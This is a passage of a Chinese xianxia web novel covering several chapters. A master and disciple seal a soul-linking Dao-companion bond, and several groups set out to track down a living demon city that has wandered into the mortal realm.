“…你…你在做什么?”秦兰时不知这是什么咒文,毕竟修仙界的修炼法术一直在变,而阵法咒文这些是变得最快的。 “结道侣契,此后,你生我生,你死我亦死。”唐山玉笑得极为温柔,扣住秦兰时的手也愈发地用力。 “…?不行!”秦兰时想起自己的死劫还没破呢,当即叫了起来,而且最重要的还有一点:“我现在是魔修!!你的灵力与魔气是很难交合在一起的,你会很难受的……而且……从古至今都未曾有过仙魔结道侣契的例子!!” 后果到底会是怎么样的,秦兰时不敢想,魔气本就存了吞噬一切的气势,它狂乱,难以压制。 “闭嘴。”唐山玉微微喘一下气,似乎也感觉到那股魔气的难以融入自己的体内,他艰难地舔了舔嘴角,继续笑道:“我还就偏要了。” 秦兰时这下子也不再任由唐山玉压了,他准备掀过去,先将人此时此刻的疯狂行径压制住再说。 可还没等他有所动作,眼前的唐山玉低下头,直接抵住他的额头,那熟悉神识就这样直直闯入他的识海,如果他抵抗的话,化神对金丹,不用想都知道是谁赢。 而要那神识是在识海里出事,也会对唐山玉的识海造成影响。 “……你不要这样…”秦兰时没有想到唐山玉已经进化到这种不管不顾的地步了,他还想再谈谈,因为他不想对方因他而死。 唐山玉听到这话顿了顿,然后,他缓缓往下,吻住了秦兰时,似乎在安慰什么。 这是一个非常温柔的吻,也是秦兰时想了许久的安慰,若是情况不对,他肯定很享受。 那抹神识肆无忌惮地进入秦兰时的识海,并且与他的魔气混在了一起,要不是秦兰时格外小心,这抹神识怕是会被他识海里的混乱魔气给撕碎。 秦兰时的识海是一片混乱的黑海,而他的神识站在那汹涌的海面上,看着那从天而降的人儿,他颇为无奈地张开双臂接住了对方。 “…你这样做,我压根拦不住你。”哪能分出心神去对付外边的结契呢。 唐山玉看了看四周的场景,秦兰时的识海还是第一次来,一直以来都是秦兰时进入他的识海去试那神交之法。 “山玉,现在给我立刻出去,停止结契。”秦兰时很是严肃地抱住人,他不敢将人放下来,让其触碰到那黑海,因为底下的黑海会吞噬掉这抹弱小的神识。 “…不要。”唐山玉看向了秦兰时,他叹了口气,语气似乎很是无奈:“今天,是你先拉住我的手。” 那高楼上,秦兰时应该和百年前那样,留他一个人在那里才对,可这人没有,他没有松开手。 哄他也好,只是因为四周的平和也好。 那被拉着一起往下坠落之时,唐山玉可以感受到那股风扑面而来的肆意,落地后,那手也依旧握着他的。 一开始也是,是秦兰时的床前明月光建立起来的羁绊……明明一开始就是这个人先动的手。 一开始…就是秦兰时先伸出手的。 外边的唐山玉咬了咬牙,然后扣住秦兰时的手再次用力,那红色的咒文不停地闪烁着,而其带来的是那本能的抵抗,他在抵抗秦兰时的魔气,在抵抗曾经最为安心的灵力。 虽然早有预料,但是还挺让人难受的。 唐山玉笑了笑,然后让抵制了那本能,将那魔气接收进入体内,呼吸也是刹那间静止,因为难受,因为痛苦,因为那魔气在他体内四处游走着,让唐山玉想起那个夜晚。 那个奄奄一息的夜晚,他体内的魔气来自谢璟,也是这般毫不留情地剥夺他的生机。 “……”识海里,唐山玉抱住秦兰时的脖颈,身子在微微颤抖着,他看上去好像下一刻就溃散,但是那不服输的灵力使其再次凝聚成实体。 “…山玉!!”秦兰时简直拿这个人没有办法,他能怎么办呢,只能努力地安抚自己的魔气,然后让其接受唐山玉,并且顺着那股灵力而去。 到最后,秦兰时的心软也被唐山玉给计算到了。 所以这道侣契终会成。 因为秦兰时爱唐山玉。 …… 结束后,唐山玉整个人就立马脱了力,直接朝秦兰时身上倒去,秦兰时抬起手抱住了这人。 抱住后,秦兰时那无奈的声音在下方响起,他又是叹又是急,可是这压根怨不得任何人。 其实这道侣契,早该结了,只是被他们俩一拖再拖,原因各有各的,总归是担心对方的性命受到威胁。 而在那个时候,同心莲代替了道侣契,成为了他们连接感知对方的纽带,所以这道侣契就更加不急了。 但,同心莲后来没有了。 …… “我怎么不知道你还有这样疯的一面。”秦兰时也没了其他心思,他现在只想要静静,接着,缓缓抬起手,手背上那隐隐若现的道侣契还在述说着方才的一切,而灵魂上的链接也让他更想要静静了。 “…因为我以前恃宠而骄,你满意了吗?”唐山玉蹭了蹭秦兰时的颈窝,哼了一声,然后说:“其实这一切都怪你。” “好好……怪我。”秦兰时应了一声,他能说什么呢,反正他还是想要静静,这就是被强迫的感觉吗?头一次真被强迫了:“…难受吗?” “嗯。”唐山玉点了点头,然后继续躺着不动:“我要歇会了,不许偷偷摸摸解契,我灵魂上感觉得到。” “……”秦兰时用手背遮住了眼睛,缓缓长叹了口气,另一只手则抱住唐山玉,轻拍他的后背。 这下子,真的是美色误人。 第296章 消失的它 意识逐渐沉入寂静。 唐山玉睁开眼,发现自己处于一片印着蓝天的湖面上,他轻轻落了这湖面上,所泛起的涟漪正轻轻地往外撞去,最后因不远处的小亭子而静止。 唐山玉知道这里是哪里。 这里…… 是他的识海。 修士的识海是不一样的,心境不同,风景自然也就不同,有的或许因为遭受了神识损伤而岌岌可危,好似下一刻就要崩塌,有的识海里什么都没有,或许此人已成为了傻子。 而唐山玉的识海是一望无际的湖与蓝天,那湖面倒映着清澈的蓝,还有一座小小的亭子,亭子是唐山玉唯一能坐下来歇息之地。 于是唐山玉走了过去,所踏之步下所荡的涟漪将那湖中的天空打碎,最后,他坐在了亭子里,手上正飘动着一丝血红的灵丝,那灵丝勾住他的手,环绕在其指尖。 而灵魂上的那份连接感让唐山玉感觉到了片刻的安心,他知道自己此举是有些冲动了,不过他也留了后手。 想到这里,唐山玉笑了一下,将那要散不散的红丝掐灭,不过那红丝融入他的手背那,一个漂亮的红纹就那么呈现于手背上。 “差不多了……”唐山玉抬头望向这蓝天 抬起手轻轻一挥,刹那间,此间湖面映出了璀璨繁星,那蓝色渐消,温柔的暮色则随之而至。 原来此处已是黑夜。 而那亭内,早已没有了唐山玉的身影。 …… 唐山玉睁开眼,入目就是秦兰时那放大的睡容,还有他那八爪鱼似的抱住自己的手和脚,突如其来的重力让唐山玉那平静的呼吸声一顿。 “嘿嘿……嘿……”那搭在唐山玉身上的手背红纹正述说着昨晚的疯狂,别说这个红纹还挺好看的。 “糖葫芦……我吃……”秦兰时直接咬住唐山玉的脸蛋就是一个啃,口水都蹭在上面了。 唐山玉:…… 唐山玉直接将这人往旁边一掀,这一掀就掀得秦兰时往旁边的墙上撞去,伴随着那哎呦一声,秦兰时才幽幽转醒过来。 “什么时候了。”唐山玉抬起手,看了看自己的杰作红纹后,就撩起那帘子准备下床。 “唔?不知道?可能已经是中午了?你好像特别累,我不忍心吵醒你……”秦兰时好似什么也没发生那样再次翻了过来,然后抱住了唐山玉的腰,黏糊地蹭了蹭。 “…松手,我要出去了……”唐山玉拍了拍这人的脑袋,灵力面具已然随着法术附着于脸上,有些无奈地道:“不和你闹……我是真有事……” “魔主大人!!”啪的一下,这门就被人从外边推开了,是林异,他刚想开口说要紧的事情之时,突地他就止住了接下来的话头。 林异瞳孔在地震,因为眼前的画面超出了林异的想象,但是很快,他定了定神说:“抱歉,魔主大人,我站这里说完就走。” “哦,说吧。”美人在怀,秦兰时慢悠悠地爬上唐山玉的后背,整个人懒懒地趴在那里等林异的汇报。 怎么有一种从此君王不早朝的感觉。 林异目不斜视地拿出报告卷轴,拉开,开始念着上面的字:“昨日,我们魔域有一魔城不知为何失踪不见了,而那魔城是四魔主的养殖场,四魔主正私下派人去寻那魔城。” “消失不见?”秦兰时念着这个字眼,然后挺直了身子,也不懒散地躺着了,而是继续问道:“那魔城在哪里消失的?” “唔?好像是在较为南边的地方。”林异翻了翻那卷轴里附带的地图,确认了一下方位后问道:“魔主大人可有什么打算?” “……嗯…”秦兰时想了又想,然后说:“那就……去让人找找看吧。” 而在这时,唐山玉似乎感应到了什么,转头看向秦兰时,秦兰时一愣,然后朝着林异挥手道:“你先下去,啊对了,卷轴留下。” 林异平静地下去了,可一下去,他就一个猛回头地看向这魔殿,他一副不可置信地看了又看,确认自己的确没有进错宫殿后,就怪叫了一声,捂住眼睛仓皇逃离。 他到底都看到了什么啊?! 他……他还未成亲呢!! 真是羞死人了!! 如此纯情的林异捂住眼睛急切地跑没了影,而在里头的唐山玉取出一个黑石板,只见上面浮现了金色的文字,上面写的是:燕北有魔城。 唐山玉:…… 这魔城跑哪里去了? 哦。 跑凡间去了。 什么? 跑凡间去了??? 唐山玉直接一个弹跳起来,这下子他真的要急匆匆出门了,还没走出几步,就被秦兰时拉住了。 “我带你过去。”秦兰时那么说着,就吩咐了一下他不在城内的事情后,就拉着唐山玉上了飞行法器,开始往那魔域南边飞去。 “……”唐山玉拿着那石板回了一句后才开口说:“这石板因为要隔着魔域所以传讯没那么快,最快都要一天。” 也就是说,凡间在一天前就发现魔城的存在。 “不过并没有说有没有伤亡的信息……是还不明确吗?”唐山玉皱了皱眉,将石板收起来后就叹了口气:“我们去那里要多久?” “有点远,最快得三天。”秦兰时转头看向唐山玉,拉住人的手安慰道:“会没事的。” “……”唐山玉没回答这事,而是又拿出个小石板,这石板可真多,到底是用什么材质做的。 “我和顾延清说了。”唐山玉顿了顿,然后说:“希望他能找到机会过来。” 毕竟顾延清要去的地方是魔族大本营,和这种偏僻的小念心城可不一样。 “我的念心城在百年里进步成这样已经很好了!!!”许是察觉到唐山玉心里所想,秦兰时开口为自己反驳道。 当然也有想要活跃这气氛的缘故。 “…我知道。”唐山玉叹了口气,也知道此时自己再忧心也没办法,于是只能无奈地看了秦兰时一眼:“但,这百年里自然产生的魔界裂痕越来越多了,我们用阵法修补与驱赶都有些忙不过来。” “这次突然搭了一个魔城过去,也不知凡间那边情况如何。”说着,唐山玉声音一顿,转头看向秦兰时:“养殖场是什么意思?” “江易年那厮在魔域里头搞的玩意儿,里面是他这些年用魔用鬼做的实验,这座城在魔域明面上还有好几个呢。”秦兰时说到这里,就要开始对江易年指指点点起来了。 “哦,明白了,就是暗地里更多的意思咯?”唐山玉越想越觉得头疼,秦兰时见此就伸出手抚一下唐山玉那皱起的眉头。 “好啦,别想那么多,可能凡间那边也是观察阶段呢。”秦兰时说着就继续安慰人,并且直接拉着唐山玉往他大腿上躺,这飞行法器本来就是坐着舒舒服服飞的。 “……”唐山玉可谓是欲言又止,与此同时,他看到了秦兰时那手背上的红纹,不由得伸出手点了点。 秦兰时那安慰人的动作一顿,随后那抚上人脑袋的手变成弹一下这个脑壳一下:“摸什么呢?你还在回味吗?” “……”因为脑壳被弹而摸上自己脑袋的唐山玉看了秦兰时一眼,非常满意地道:“对,在回味,毕竟我现在的命是你的了,你死了我就死了,多爽。” 这到底哪里爽了。 秦兰时咬咬牙,然后扯一下这人的脸蛋:“以后,不许随便进我识海,知道吗?” “那你识海什么时候可以让进?”唐山玉直勾勾地盯着秦兰时在看。 “……下次一定。” 秦兰时这人又在哄骗小孩了。 而这次的小孩一如既往是是两百岁多的唐山玉。 第297章 魔城乱跑 唐山玉以沉默来面对秦兰时的哄骗,而秦兰时哄了一下后就发现此人目光之热烈,看得他都要不好意思了。 而秦兰时为了让自己不要不好意思,于是伸出手捂住了唐山玉的眼睛,这一捂,便传来了唐山玉那略带嘲讽的笑。 “……山玉啊。”秦兰时语重心长地摸了摸这人的脑袋,一边摸一边说:“你知道的,为师……” 为师不想你出事。 这话还没说完呢,唐山玉就开口强硬地打断了秦兰时接下来的话:“我知道了,闭嘴,不许说。” 秦兰时唉了一声,而唐山玉则对此看不惯已久,于是就默默起身,掐住秦兰时的下巴让人好好面对他。 “你要是再说什么为我好,我现在转头就从这里跳下去。”唐山玉温和地笑着道:“你到现在还在说为我好?怎么,真当我家长把我当青春小孩整呢?” 秦兰时被捏得嘟起了嘴,他不敢反抗一点。 “你眼前这个小孩可是晚上能把你*得死去活来,懂?”唐山玉说着又凑近些,那温和的吐息缓缓扫在了秦兰时的脸庞上,痒痒的,很快又随着人的退去而散开。 “…倒也不是。”秦兰时见唐山玉松开了他的脸后,就抬手揉了揉几下:“我只是……不想再看到那一幕了。” 那一幕偶尔会在秦兰时的梦里想起,那流了一地的血,苍白的面孔上那双本该明亮双眸黯淡无光,无力的身躯宛若残花那般碎落了一地。 等再度睁开眼,魔域的黑与冰冷好似将他整个人所笼罩,唯有那灵灯闪烁着旁,那是此夜漆黑的唯一的光亮。 可这光并不温暖。 秦兰时想,如果唐山玉此时此刻在身边就好了。 但…… 人是自己亲手推开的。 又能说什么呢? 秦兰时苦笑着,抬起手一挥,将那灵灯的光源熄灭,室内再度陷入了一片昏暗,唯有人的呼吸声逐渐鲜明。 …… 唐山玉直接抬手捏住秦兰时的脸,并且将其大力揉搓:“走神?想什么呢?” “想你啊。”秦兰时闻言笑了出声,然后握住唐山玉的手腕,就着那掌心蹭了蹭:“想了你好久好久了……” “……”唐山玉看着人不说话,最后,他叹了口气,直接往旁边一躺,就那么躺在飞行法器上,感受着四周来去的急风。 安静的,俩人难得没有说话。 空中有一飞兽与他们并立,黑翼张扬随风而行,那绿色的眼珠子转动着,而里头正映着秦兰时此时此刻的身影。 可在下一刻,还没等它看明白,它便整个身子爆炸开来,那黑色的血溅在秦兰时支起的保护罩上,正慢悠悠地往下滑落。 而这飞兽也自空中落下,坠落在他们经过的深崖之下。 与此同时,远方的四魔主江易年好似感应到了什么啧了一声,而他旁边的乌雅,她是许多章没有出现过且是曾经被那俩师徒同时追过的女人。 “大人?怎么了?”乌雅见江易年似乎有些不开心,连忙问道。 “没什么,只是感觉到有只魔物死了,呵,我知道是谁干的。”江易年挥了挥手,然后漫不经心地继续问道:“那失踪的魔城可还有线索?” “没有,不过……在魔物的监视下,我们看到魔尊大人似乎带着一位男子往主城去了。”乌雅想起这个事便同那江易年猜测道:“大人,莫不是是那个魔域高手投靠了魔尊?能被魔尊大人亲自请回来的高手应当很厉害……” “这样的话,魔尊大人的势力……” “乌雅,那并不重要,现在最重要的是我的魔城……”说着,江易年顿了顿,然后说:“它有点调皮了,我万万没有想到它居然跑路了。” 而谢璟也万万没有想到自己在回去的路上居然遇到了一个奔跑中的魔城,顾延清站在旁边看到了一切。 “……新魔物?”顾延清似乎准备拔剑了。 “不是,不是新的,这个应当是那江易年弄出来的魔物,他弄出来的养殖场魔城有些是活的,这只应当是逃跑的。”谢璟指了指那魔城,平静地说道:“不过我也是第一次看到逃跑的魔城。” “平时它们都很老实,没有这种蹦蹦跳跳的迹象。” “那为何……?”顾延清看着那个肆意跑来跑去的活泼魔城,默默放下拔剑的手。 “我怎么知道?我又不是养它们的。”谢璟耸了耸肩,然后说:“反正后边会有人过来管,和我没什么关系,走了。” …… “走了?”谢璟皱起眉头,转头看向那顾延清,他不明白这人为什么不走。 而顾延清抬起头,指着那不知何时从天而降的魔城道:“它过来了。” 轰隆—— 这魔城张开大门,将他们俩一起吞进了城肚子里头。 …… 与此同时,凡间,盛知许正坐在室内,他面前摆着三杯茶,其中一杯茶是他的,另外两杯茶是此次过来的问天门的。 而过来的问天门里有马小桐与卫朔二人,其中马小桐的神色较为着急,而卫朔则很是平静地看着盛知许。 第298章 去魔城咯 最后,借助盛知许的血,马小桐问出了盛礼越目前的方位,可那方位时不时变动着,要想寻到它的踪迹…… “只有血好像不够,不知陛下可愿意与我们一同前往燕北?”马小桐看着手上那连接而成的红灵线,将这一端绑在了盛知许的手上:“你看,它这样就不会消失,而你也能感应得到。” 可能这就是血脉相连的羁绊吧。 那在马小桐手上若隐若现的灵丝落在盛知许手上后越发地明亮了。 “或者,陛下你自己等问天门其他有空的人忙完过来,最近魔域动作不断,各大门派都很忙,能管凡人都算不错的门派了。”马小桐说着就要起身准备走:“我和卫朔就先去找他们俩了。” 马小桐看了看给自己留下的那抹灵丝,祈祷它能够再坚持一下,至少坚持到他们找到人为止。 旁边站着的侍卫听到这话便转头看向盛知许,那冷酷的俊容下是对着陛下的深沉尊敬与不舍。 “……你们可以先等我一下吗?”盛知许笑了一下,然后说:“我会和他们商量完和你们一起去的。” 侍卫的表情更加冷酷,不舍也是更加浓烈了。 “好。”马小桐点点头,然后抓着那一动不动的卫朔往外走去:“那我们等你一会儿,希望你可以快点给我们答复,我个人认为你能跟我们去最好。” “因为我们不确定这灵丝会不会在我们进入魔城后断掉,只有维持着血脉之间的联系才能便于我们寻找到礼越。”马小桐说着因为卫朔的不配合,所以抓着变成了拉,就这样,卫朔被她拉着拖了一遍这皇宫的地板。 盛知许看到他们离开便对那边冷漠侍卫说了一声:“把人都喊过来开会。” 直白的,热烈的,深情的会议就这样在皇宫里展开了。 “陛下——老臣——不同意!”一个九十八岁的老大臣颤颤巍巍地拄着拐杖前来参加会议,非要说他是盛知许看着长大的:“万万不可啊陛下!!陛下龙躯也要紧!!” “陛下!不行啊!没了您我们可怎么办啊!!”这个大臣直抒胸臆,甚至热泪盈眶:“就算将军在那边也不行啊,您可是一国之君!!” “咱们将军生死未卜!若是陛下您出了意外,咱们怎么和将军交代啊!!”这个更是做好了托孤准备,虽然盛知许总觉得此话有点倒反天罡,明明他是兄长不是吗? “好了好了,朕知道诸位也是为朕担心……”盛知许叹了口气,然后道:“可将军生死未卜,朕又怎能坐视不理呢?” 说着,他转头看向了某处,挥了挥手,一位姑娘身穿华贵的衣裳走了出来:“所以,朕早有准备,诺,这是清河公主,也是朕下一任的继承者。” 同时也是一位普通的凡人。 而清河公主是盛知许于其他旁系里挑选出来的。 大臣们:…… “不行啊陛下!不是说清河公主能力不行!我们在乎的是您的安危!!”大臣们拒绝了这个提议,因为这个提议摆明了盛知许要亲自过去找人。 “……”盛知许叹了口气,让那清河公主上去给那大臣一个大嘴巴子……开玩笑的,并没有这样做,他只是对于被限制而感到烦闷。 而清河公主显然也感觉到自己这位长辈的叹气,于是便开口道:“陛下,您尽管去吧,有臣在。” 清河公主并不是徒有虚名,盛知许对她投入了不少的培养,实权自然是有的,为的就是自己不在的时候可以替补自己干活。 盛知许挑选的上一任继承者已经自然老死了,而清河公主则是第二任,因为皇帝是修仙者的缘故,所以这继承人一般情况下也到达不了那个位置,偶尔在皇帝不在的时候帮忙监国就好。 能够成为继承人自然实力不错,可以说除了凡人那短暂的寿命,其他都无可挑剔,当然,盛知许的威慑力在那里,他们也生不出旁的心思。 这皇位,要么是这位陛下不想干了,不然也不会轮到这继承人手里。 所以这继承人也是说得好听,实际上就是更高权势的大臣罢了,一样的,都是流水的大臣,铁打的皇帝。 “听到了吗?公主说有她在。”盛知许听到清河公主这一发言,就拍了拍桌子示意这些大臣们看过来,并且语重心长地道:“别总是依赖朕。” “陛下……”大臣们知道这次会议只是通知,而不是真的让他们讨论出一个结果,但是他们就是不愿意啊。 不过如果换作是盛知许出事,这里开这个会的是盛礼越他们也会试图拉住人的。 因为这两个修仙者真的是向着他们朝国的,无论是出于私情还是从政治方面来看,他们都一样重要。 “好了,别哭丧着脸,朕会带着大将军回来的。”盛知许抬起手,轻轻拍了拍这个九十八岁的老大臣:“莫要过于忧心。” “清河,接下来的交给你了。”盛知许转头对那清河公主点点头,清河公主听到此话便行了一礼表示她明白了。 然后,盛知许宛若渣男那样抛下一堆叔叔爷爷走出这个会议,他不愧是备受叔叔爷爷们热爱的皇帝,正如此时,那些被抛弃的叔叔爷爷则用那热烈的泪目送他的离去。 …… 盛知许如愿地来到了马小桐和卫朔俩人之中,并且冲他们友善地笑了一下:“走吧,我把法器都带上了。” 作为皇帝的他终于可以出去了。 “嗯,好,陛下,将这根线握好,这是你们之间的血脉线。”马小桐又重新拿了一条红色灵线递给盛知许:“这和方才我随意弄出的线不同,这是法器,不要弄坏了。” “好。”盛知许看到这根红线就握在了手里,这个触感很神奇,是柔的,甚至还有些许水缓缓流动的丝滑。 就这样,他们搭乘的法器离开了这里,而在离开的时候,那些大臣们都出来相送,并且嘴里念着:“陛下,您要保重啊。” “陛下,您一定要回来。”清河公主站在最前方,对着盛知许要离去的方向深深一拜。 盛知许转头看了一眼,笑了,他什么也没说,而是像个平常人那样和老朋友们挥了挥手,就转过身去。 而在这一刻,那个九十八的大臣看着陛下远去的身影,不由得想起他年轻的时候,那个时候他也意气风发,骑着骏马带着酒遨游于天下。 而在当了官后就极少出去了,在一次他和陛下的聊天里,许是酒意上了头,他兴致勃勃述说着自己曾经去过的地方之时,那时候的陛下眼里居然有了些许慕意,他当初还以为他看错了。 那可是陛下。 陛下怎么会羡慕别人呢? 可现在的他却在想,或许……是真的也说不定。 九十八岁的大臣那浑浊的眼珠子微微转动着,他转头看向了那边和众多大臣一同仰望的清河公主,沉默着,似乎在思考些什么。 …… 另一边……被魔城吞噬掉的顾延清和谢璟正在这魔城里头走着,俩人一前一后,谢璟在前,顾延清在后。 “你不是能一剑劈开吗?”谢璟转头瞪了一眼顾延清,有些不满地道:“你为什么偏要在这里寻法子出去?” “…你说过,这种会活动魔城有很多个。”顾延清说着快走了几步,来到了谢璟身旁,这种时候他难得没有去看谢璟,而是将目光投向四周的凶险里:“是为了给之后入侵修仙界做准备吗?” “…我怎么知道。”谢璟是真不知道,他又没细究这个,而且他也不想和那个江易年打交道,不知为何看着江易年他总觉得身体痛得厉害,于是他觉得江易年定是个对他坏的。 “嗯,所以我也要做准备了。”顾延清手上拿着剑,慢悠悠地走于这魔城里头:“我能看到,这个魔城的弱点在哪里,我可以轻而易举地到达也能破坏它……” “甚至,我不需要它的弱点,在我看来,这种魔城一剑便足以。” 谢璟可以看到,此时此刻顾延清身上的灵力非常强大,那种纯粹让四周的魔物都不敢靠近,那混乱的气息只有在他这里是充满着稳定的。 而在这一刻,顾延清周身的灵力一收,实力在刹那间变弱了,好像只有金丹期的水准:“但,其他人不行,所以我得为其他人在这座城里寻出一条生路。” “……你和我说这些做什么?”谢璟啧了一声,总觉得内心因为这些话越来越烦躁,不如说,这几天他就没有很好地冷静过:“你爱怎么样就怎么样,和我有关系吗?” “既然这样,那你自己好好钻研吧,我自己寻其他路子走了。”谢璟确信,他都是化神期了,总不能还被这个小小魔城给困住,于是他打算转头就走。 “……阿璟。”顾延清站在原地没有动,他也没有挽留什么,只是淡淡地说了一句:“我喜……” 谢璟捂住耳朵跑了。 不知为何顾延清好像想起曾经唐山玉与他抱怨秦兰时的那番话:“有些人除了躲就是躲,都不知道在躲个什么。” 秦兰时当初在躲什么他不知道。 但是谢璟在躲什么……顾延清大概明白了一点,虽说记忆被清洗过,但那份存于心里的恐惧已然留下散不去的伤痕。 总之,现在先试试用金丹期破解魔城吧。 顾延清想想谢璟的实力,就转头去探查起魔城了。 …… 经过唐山玉和秦兰时的三天努力,俩人终于来到了那魔域的南边,而魔域和凡间隔着个大大的结界,据说这是神明关押魔族的结界。 当年,神明将魔族驱逐于废弃之地,建立起结界隔绝魔族与外来的联系,这也是为什么魔族出去进来的时候都是用魔域裂痕的缘故了。 至于魔域裂痕的产生,并没有人研究出什么,这些裂痕是在某天自然出现的,或许也象征着神明的压制渐渐削弱的原因,而后裂痕的出现引发了一系列战争,最后战争以正道的胜利结束。 后来魔族们还学会怎么自己开启魔域裂痕……当然这已经是后话了。 如今,唐山玉和秦兰时走在这片荒芜的大地上,因为这里偏僻,所以被那位江易年魔主用来当实验场了。 “先不说别的,它一个没智商的魔城到底是怎么去凡界的,难不成是刚好从自然的魔域裂痕里出去的吗?”唐山玉也从秦兰时那里了解了会活动魔城之事,并且对此进行了分析。 “也有可能,我们先去凡界看看。”秦兰时准备找个好地方弄出个魔域裂痕过去,而唐山玉也站在一旁等着。 而就在这一刻,俩人同时顿住。 并且抬起头看着不知何时在远处若隐若现的魔城。 “……鬼城?”唐山玉决定给这个神出鬼没的魔城换个称呼。 “……不知道。”秦兰时也不知这魔城什么时候出现的。 俩人对视了一眼,就一起往那个魔城走去。 第299章 魔城欢迎你 “…太子哥哥。”小小的孩子跟在一个比他大不了多少的孩子后边,一边跟一边笑嘻嘻地道:“太子哥哥你为什么走那么快,我都要追不上了。” 被盛礼越唤作太子哥哥的孩子转过头来,他摇了摇头,然后特别诚实地说:“贵妃党和皇后党不能走太近。” “那是什么?”盛礼越那个时候还小,不懂,他只是明白盛知许好像开始不和他玩了:“是可以吃的吗?” “不可以。”盛知许也极为耐心地说:“日后你就懂了。” “啊?为什么我要懂这个?”盛礼越更加不明白了,明明自己和哥哥玩得好好的,怎么就突然不能在一起玩了呢。 盛知许听到这话沉默了一下,也就一下,很快他就冲盛礼越笑了笑道:“嗯,你想懂可以啊,我们现在就去玩吧。” “好!”盛礼越听到这话,眼睛一亮,并且主动凑上去拉住盛知许,也就是他哥哥的手:“我们去玩!” 很显然,小小的孩子脑子里只想着这个。 盛知许拉住盛礼越的手,换了个方向,这个方向是御花园的位置,在明贵妃的必经之路上玩,就这样,当天盛礼越被自己的母妃看见后就带了回去,一带回去盛礼越就被母妃狠狠地骂了一顿。 骂完后盛礼越压根不知道自己哪里错了,明明自己只是想和哥哥玩而已啊。 但是明贵妃没什么耐心,在看了一眼盛礼越此时此刻要哭不哭的模样继续说:“哭什么哭?你看看人家盛知许,再看看你,人家压根不稀罕你,你还眼巴巴地凑上去。” “可是……太子哥哥说喜欢和我玩的……”盛礼越呜呜地哭着,一边哭一边擦眼泪,和自己的母妃小小反驳道:“他说过喜欢和我玩的……” “不,他不喜欢你,你也不许喜欢他。”明贵妃的声音很是冷淡,并且在那一刻握住了盛礼越的肩膀,她的力气很大,盛礼越有点疼,而明贵妃那不容置疑的强势映在孩子的眼里:“你喜欢母妃吗?” “喜欢……”盛礼越点了点头,他知道的,其实母妃对他很好的,母妃是这个世界上最最爱他的人。 “礼越……”明贵妃听到这话松开手,她轻轻摸了摸盛礼越的脸,温柔地道:“选了母妃,就不能选他了,知道吗?” “嗯,我知道了。”盛礼越很听话,非常听母妃的话。 “我不喜欢太子哥哥了。” “将军!!将军!!!” 盛礼越猛地回过神来,他看到眼前的将士正面露担忧地看着他,而他们目前的情况并不算好,在进入魔城后,他们就处于一种被动的状态,这魔城里头除了那些能打死但是源源不断的魔物外,还有一只实力强悍的魔物游荡在城里。 而现在,他们正躲在某个隐秘的房屋内,这个魔城初入后可以发现这里似乎曾经是座城镇,到处都是房屋的残余。 毕竟这些魔物看着也不像是住屋子的样子,全在外边厮杀着,强大的吃掉弱小的,弱小的需要躲起来不被吃掉。 这里简直就像在养蛊。 “探查得如何了?”盛礼越正靠着墙壁坐着,手上的长枪被他拿着竖立在旁边,枪头的残留血迹和刃尖的损伤可以看出先前有过一场恶战。 “不太理想。”将士摇了摇头,然后说:“将军,如今那头魔物似乎瞧上了我们,虽说暂时用法阵隐藏了我们的行踪,但找到这里也是迟早的事。” “打又打不过,出又出不去,礼越,你觉得救援能来得及过来救我们吗?”某处角落,程启风也倚靠在墙壁上,身上白衣的衣角处已经脏乱不堪,他看上去也不是很好。 “那你算出来他们能来吗?”盛礼越看了程启风那边一眼。 “能。”几枚铜钱滚落地上,然后又被那程启风寻声再度拿起来,往上抛了抛:“但是在那之前,我们或许会先死在这座魔城里。” “…是吗?”盛礼越闻言倒是没怎么表示,他呼出一口气,便道:“幸好,这个魔城暂时没有向凡界进攻的欲望,到时候城门一开,可让人伤脑筋了。” “可能是因为我们太美味了,想着把我们吃了再出去。”程启风觉得魔城出现在凡界没那么简单,可怎么算却只觉出一层黑雾笼罩着他,那黑雾散不去,让人琢磨不出其意。 “你这话倒也挺对。”盛礼越想起刚看见魔城的时候,这魔城是突然出现的,好似静等着他们过来那般,紧接着,地面上出现了一个巨大的法阵,那法阵就那么将他们送到了城内。 “有人想把我们喂给它们吃。”程启风也和盛礼越一样想起刚看见魔城的事:“虽不知此次前来的援军是谁,我希望对方能够做好准备再进来。” “不然就会像我们这样折了一堆人在这里是吧?”盛礼越说着就站起身来,不为别的,而是那强大的魔物好似离他们近了,他需要打头阵准备迎敌。 “……”程启风点了点头,随后也就扶着墙壁站了起来,他正朝着盛礼越的方向看去,尽管他看不见。 其实,有时候,程启风也希望自己不要算得太准,就算看不清前路也好过一个准确的答案。 是的。 程启风算出来了,这一死劫他们怕是躲不过去了。 …… 盛知许和马小桐卫朔俩人一起和驻守在燕北的将士交谈完毕后就带着一小队士兵朝着魔城出现的地方寻去。 那连接着血亲的红线正指引着他们前进,很快,他们就来到了一个无比空旷的地方,在这里,没有魔城,只有那滚滚黄沙。 “……法器出错的可能性很低啊,毕竟陛下你都出那么多血了。”马小桐在这里看了一圈后,就往盛知许手上的红线看过去,就那么盯着,好似要盯出个所以然来。 “什么?!陛下流血了?!”旁边的将士大惊失色,连忙朝着金贵的盛知许身上看去。 “已经好了。”盛知许早就把自己的伤给医好了,不过他也在想莫不是真的因为血不够才找不到魔城的所在位置。 正当盛知许的刀蠢蠢欲动的时候,就有人惊呼出声:“看!那个是不是魔城!!” 众人举头望去,便见那座安静的魔城落在那不远处,可方才那里什么也没有,这就显得这个魔城的出现很诡异了。 “全员戒备!!”作为这一小队的队长当即拔出长刀护在了盛知许的面前,并且眼神犀利地扫向那魔城:“小心周围,我们恐落进阵法里了。” 不然怎么说明方才还没有看见的魔城突然就出现在面前了,极有可能是对方施展了什么术法。 “陛下,进去?”那队长转头询问盛礼越,他们为了进入魔城可谓是带了不少装备,到时候就算死也要用金钱把整个魔城给砸死。 “进。”盛知许本就是为了寻这魔城而来,再者,如果后退的话,对方想要用其他不平和的方法把他们弄进去的话,那可谓是得不偿失。 “死亡会降临在你我身上~”卫朔甚至还有闲情逸致地文艺一下,他转头看向了某处,便道:“这样吧,你们进去,我就不进去了。” “…?你要寻什么死?”马小桐听到此人居然如今积极远离危险魔城,当即就明白此人定是找到了比魔城还要危险的存在,于是她果断说:“不行,你要和我们一起进去。” 卫朔张了张嘴还想说什么,就被马小桐拿出的糯米糕塞住了嘴,这糕点特别噎人,正好用来噎住爱说不吉利话的卫朔。 “唔?呜呜?”卫朔想说话,但是这个糕点好噎人。 就这样,他们意见一致地往前魔城那里走去。 …… 与此同时,唐山玉和秦兰时也靠近了这个魔城,他们先在外头观察了一番,发现这个魔城是如此的安静,一点都没有是带魔物跑路的魔城样子。 